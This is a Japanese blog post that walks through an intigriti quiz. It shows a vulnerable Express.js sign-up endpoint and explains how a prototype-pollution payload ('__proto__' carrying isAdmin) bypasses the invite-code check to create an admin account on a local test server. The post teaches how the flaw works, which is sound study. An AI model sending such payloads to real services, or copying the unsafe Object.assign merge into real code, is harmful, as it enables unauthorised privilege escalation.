【JavaScript】intigritiの脆弱性クイズを理解する
Bug Bountyのプラットフォームとして有名な intigriti のツイートにて、脆弱性のあるコードのクイズが出題されていたので、調べてみました。
実験
実際にコードを書いて実行してみる。
const express = require("express");
const inviteCode = require("./secret");
const app = express();
app.use(express.text());
const port = 3000;
const baseUser = { 'picture' : 'default.png'};
function createAdmin(user) {}
function createUser(user) {}
app.post('/', (req, res) => {
let user = JSON.parse(req.body);
if(user.isAdmin && user.inviteCode !== inviteCode) {
res.send('No invite code? No admin!');
}else{
let newUser = Object.assign(baseUser, user);
if (newUser.isAdmin) createAdmin(newUser);
else createUser(newUser);
res.send('Successfully created' +
`${newUser.isAdmin ? 'Admin' : 'User'}`)
}
})
app.listen(port, () => {
console.log(`App listening on port ${port}`)
})
❯ node index.js
App listening on port 3000
コマンドラインからPOSTリクエストをしてみます。
curlでも良いのですが、私はhttpieを入れていたのでhttp
コマンドで送信しました。
❯ http POST http://localhost:3000 Content-Type:text/plain --raw '{"hello":"hello"}'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 24
Content-Type: text/html; charset=utf-8
Date: Tue, 11 Oct 2022 01:34:23 GMT
ETag: W/"18-f0kP+bEz8U+A+B14zgWua9gdwlo"
Keep-Alive: timeout=5
X-Powered-By: Express
Successfully createdUser
雑にJSONの形式のテキストデータを送ると、ユーザーを作成することができました。
ユーザ作成の条件
条件式を詳しく見てみましょう。
if(user.isAdmin && user.inviteCode !== inviteCode) {
res.send('No invite code? No admin!');
}else{
let newUser = Object.assign(baseUser, user);
if (newUser.isAdmin) createAdmin(newUser);
else createUser(newUser);
res.send('Successfully created' +
`${newUser.isAdmin ? 'Admin' : 'User'}`)
}
-
isAdmin
がtrueかつinviteCode
が正しくないときは、ユーザーが作成されません。 - そうでないときは、
isAdmin
がtrueであれば、Adminを作成。 -
isAdmin
がfalseであれば、Userを作成します。
isAdmin
がtrueというJSONテキストを送ってみましょう。
❯ http POST http://localhost:3000 Content-Type:text/plain --raw '{"isAdmin":true}'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Tue, 11 Oct 2022 01:51:27 GMT
ETag: W/"19-K8e38SOi1KUAKAtMTNdgM+AYvtw"
Keep-Alive: timeout=5
X-Powered-By: Express
No invite code? No admin!
招待コードが無いので、弾かれました。
この問題ではAdminを作成する方法を問われています。
正攻法で行く場合は正しいinviteCode
を渡す必要がありますが、inviteCode
の情報は無いため何らかのテクニックを使って、Adminを作らなければなりません。
解答
私は解けませんでしたが、リプで解答が示されていました。
プロトタイプ汚染攻撃(prototype pollution)というテクニックを利用するようです。
プロトタイプ汚染攻撃
JavaScriptは、オブジェクトが互いの機能を継承するためにプロトタイプというメカニズムを使っています。このプロトタイプを悪用した攻撃がプロトタイプ汚染攻撃です。
プロトタイプについてはこちらを参照↓
実践
プロトタイプを汚染したJSONテキストを作ります。
'{ "__proto__" : { "isAdmin" : true } }'
こちらをPOSTで送信してみましょう。
❯ http POST http://localhost:3000 Content-Type:text/plain --raw '{"__proto__":{"isAdmin":true}}'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Tue, 11 Oct 2022 02:11:06 GMT
ETag: W/"19-I5tGIO12e2oeSwCwkprZYMU+aUs"
Keep-Alive: timeout=5
X-Powered-By: Express
Successfully createdAdmin
なんとAdminを作ることができました!
何故こうなるのか
JavaScriptのprototypeについて、ほとんど理解していない筆者は何故こうなるのかがわかりませんでした。
厳密で詳細な理解には時間がかかるので、ここでは端的な事実を記して理解につなげます。
例えば、JavaScriptで次のようなコンストラクタ関数を定義し、インスタンスを作成します。
function User(name,isAdmin) {
this.name = name;
this.isAdmin = isAdmin;
this.introduce = () => {return "My name is " + name};
}
let user1 = new User('Alice',false);
console.log(user1.name);
console.log(user1.introduce());
console.log(user1.toString());
❯ node test.js
Alice
My name is Alice
[object Object]
Userで定義していたメンバー以外に、toString()
というものも呼び出すことができています。
このtoString()
はObject.prototype
に定義されており、MDNのObjectの章にはこのように記述されています。
JavaScript のほぼすべてのオブジェクトが Object のインスタンスです。一般的なオブジェクトは、プロパティを (メソッドを含めて) Object.prototype から継承しています
すなわち、Userのインスタンスは、Object.prototype にある toString(Object.prototype.toString()
)を継承していたので呼び出すことが出来たのです。
一方で、Objectのメンバである、Object.is()
やObject.keys()
などは継承されていないことに注意しなければなりません。継承するにはprototype
内に定義されている必要があるのです。
プロトタイプ汚染の話に戻ります。
脆弱性のあるコードでは、Object.assign()
を使っていました。
Object.assign()
は、2つのオブジェクトをマージすることができます。
const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };
const returnedTarget = Object.assign(target, source);
console.log(returnedTarget);
Object { a: 1, b: 4, c: 5 }
ここで、bキーを見ていただくと分かるのですが、同じキーのプロパティがあると上書きされます。
よって、souceのオブジェクトのprototype
に任意のキーと値を持たせておけば、targetに対して継承させることができます。
このprototypeにアクセスする手段として、__proto__
というプロパティが提供されています。
そのため、先ほどのプロトタイプ汚染の攻撃では、'{ "__proto__" : { "isAdmin" : true } }'
という文字列を使ったのです。
最初のif文の段階では、isAdminというプロパティは継承されているわけでは無いので、user.isAdmin
ではアクセス出来ず、user.__proto__.isAdmin
でアクセスする必要があります。
> let user = JSON.parse('{"__proto__":{"isAdmin":true}}');
> user.__proto__.isAdmin
true
> user.isAdmin
undefined
一方で2回目のif文では、直前でlet newUser = Object.assign(baseUser, user);
が行われています。よって、prototypeの中にあるメンバを継承して、isAdmin
でもアクセスできるようになっています。
> let newUser = Object.assign(baseUser, user);
> newUser.__proto__.isAdmin
true
> newUser.isAdmin
true
これによって、adminを作ることができました。
おまけ
ちなみに、denoで試したところ、この攻撃は通用しませんでした。
> let user = JSON.parse('{"__proto__":{"isAdmin":true}}');
> user.__proto__.isAdmin
true
> user.isAdmin
undefined
> let newUser = Object.assign(baseUser, user);
> newUser.__proto__.isAdmin
true
> newUser.isAdmin
undefined
対策している?
感想
JavaScript難しい。
マサカリ歓迎です。
Discussion